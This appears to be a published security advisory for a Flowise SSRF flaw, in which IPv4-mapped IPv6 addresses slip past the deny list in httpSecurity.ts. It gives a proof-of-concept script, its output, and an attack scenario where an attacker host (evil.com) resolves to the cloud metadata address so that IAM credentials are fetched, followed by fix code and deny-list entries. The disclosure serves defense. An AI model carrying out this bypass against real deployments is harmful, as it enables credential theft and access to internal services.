Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module…
GitHub_M·CWE-918·Published 2026-08-04
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3.
## Summary Flowise's HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:<target_ipv4>`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost. ## CWE - **CWE-918**: Server-Side Request Forgery (SSRF) - **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check) ## Affected Versions - All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03) - This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+) ## Details ### Root Cause The `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison: ```typescript // httpSecurity.ts - isDeniedIP() export function isDeniedIP(ip: string, denyList: string[]): void { const parsedIp = ipaddr.parse(ip); for (const entry of denyList) { if (entry.includes('/')) { try { const [range, _] = entry.split('/') const parsedRange = ipaddr.parse(range) // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4' // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.') } } } catch (error) { throw new Error(`isDeniedIP: ${error}`) } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.') } } } ``` When the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`: - `ipaddr.parse('::ffff:169.254.169.254').kind()` returns `'ipv6'` - `ipaddr.parse('169.254.169.254').kind()` (from deny list entry) returns `'ipv4'` - `'ipv6' === 'ipv4'` is `false` → **CIDR check is completely skipped** The IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules. ### Attack Vector 1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service) 2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/` 3. `resolveAndValidate()` calls `dns.lookup('evil.attacker.com', { all: true })` which returns `[{ address: '::ffff:169.254.169.254', family: 6 }]` 4. `isDeniedIP('::ffff:169.254.169.254', denyList)` is called — all IPv4 CIDR entries are skipped due to kind mismatch 5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address ### Affected Endpoints All code paths using the SSRF protection functions are vulnerable: | Function | Usage Count | Affected Components | |----------|:-----------:|-------------------| | `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank | | `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool | | `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping | ### Proof of Concept ```javascript // Verify the bypass using ipaddr.js (same library Flowise uses) const ipaddr = require('ipaddr.js'); const denyList = [ '169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise) '10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise) '127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise) '172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise) '192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise) ]; // Normal IPv4 - correctly blocked const normalIP = ipaddr.parse('169.254.169.254'); console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4' // IPv4-mapped IPv6 - bypasses ALL checks const mappedIP = ipaddr.parse('::ffff:169.254.169.254'); console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6' console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254' // Demonstrate the bypass for (const entry of denyList) { const [range] = entry.split('/'); const parsedRange = ipaddr.parse(range); const kindMatch = mappedIP.kind() === parsedRange.kind(); console.log(`${entry}: kind match = ${kindMatch}`); // ALL false! } // Result: ALL deny list entries are skipped ``` **Attack Scenario (AWS Cloud):** ```bash # 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254) # 2. Attacker creates a chatflow with HTTP Node pointing to: # URL: http://evil.com/latest/meta-data/iam/security-credentials/ # 3. Flowise resolves evil.com -> ::ffff:169.254.169.254 # 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch) # 5. Request reaches AWS IMDS -> Returns IAM role credentials ``` ### Verified PoC Output The following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `[email protected]` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic: **Step 1: kind() mismatch confirmed** ``` 169.254.169.254 kind=ipv4 isIPv4Mapped=false ::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254 127.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1 10.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1 192.168.1.1 kind=ipv4 isIPv4Mapped=false ::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1 172.16.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1 ``` **Step 2: Normal IPv4 — correctly blocked ✅** ``` 169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254) 127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8) 10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8) 192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16) 172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12) ``` **Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️** ``` ::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254) ::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1) ::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1) ::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1) ::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1) ``` **Step 4: Root cause — kind mismatch skips CIDR check** ``` Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16 parsedIp.kind() = 'ipv6' parsedRange.kind() = 'ipv4' kind match? = false ← CIDR check is SKIPPED! But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16) ``` **Step 5: Proposed fix — all bypass addresses now blocked ✅** ``` ::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16) ::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8) ::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8) ::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16) ::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12) ``` **Step 6: Attack simulation** ``` Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata! Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented! ``` > **Verification environment**: Node.js v22.13.1, [email protected] (matches Flowise dependency `^2.2.0`) > **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js) ## Impact | Target | Impact | Severity | |--------|--------|----------| | AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical | | Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High | | Localhost (`127.0.0.1`) | Access Flowise's own API with elevated privileges, access co-located services | High | This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution. ## Remediation ### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended) ```typescript export function isDeniedIP(ip: string, denyList: string[]): void { let parsedIp = ipaddr.parse(ip); // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) { parsedIp = parsedIp.toIPv4Address(); } for (const entry of denyList) { if (entry.includes('/')) { try { const [range, _] = entry.split('/'); let parsedRange = ipaddr.parse(range); // Also normalize deny list entries if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) { parsedRange = parsedRange.toIPv4Address(); } if (parsedIp.kind() === parsedRange.kind()) { if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.'); } } } catch (error) { throw new Error(`isDeniedIP: ${error}`); } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.'); } } } ``` ### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth) Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses: ```typescript const DEFAULT_DENY_LIST = [ // ... existing entries ... '::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses '::ffff:127.0.0.1/128', // Explicit loopback mapped '::ffff:169.254.0.0/112', // Explicit link-local mapped '::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped ]; ``` ### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders) ```typescript async function resolveAndValidate(url: string): Promise<ResolvedTarget> { // ... existing code ... const records = await dns.lookup(hostname, { all: true }); for (const r of records) { let address = r.address; // Normalize IPv4-mapped IPv6 for deny list checking if (ipaddr.isValid(address)) { const parsed = ipaddr.parse(address); if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) { address = parsed.toIPv4Address().toString(); } } isDeniedIP(address, denyList); } // ... rest of code ... } ```
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Secondary | GHSA | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | ENISA EUVD | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |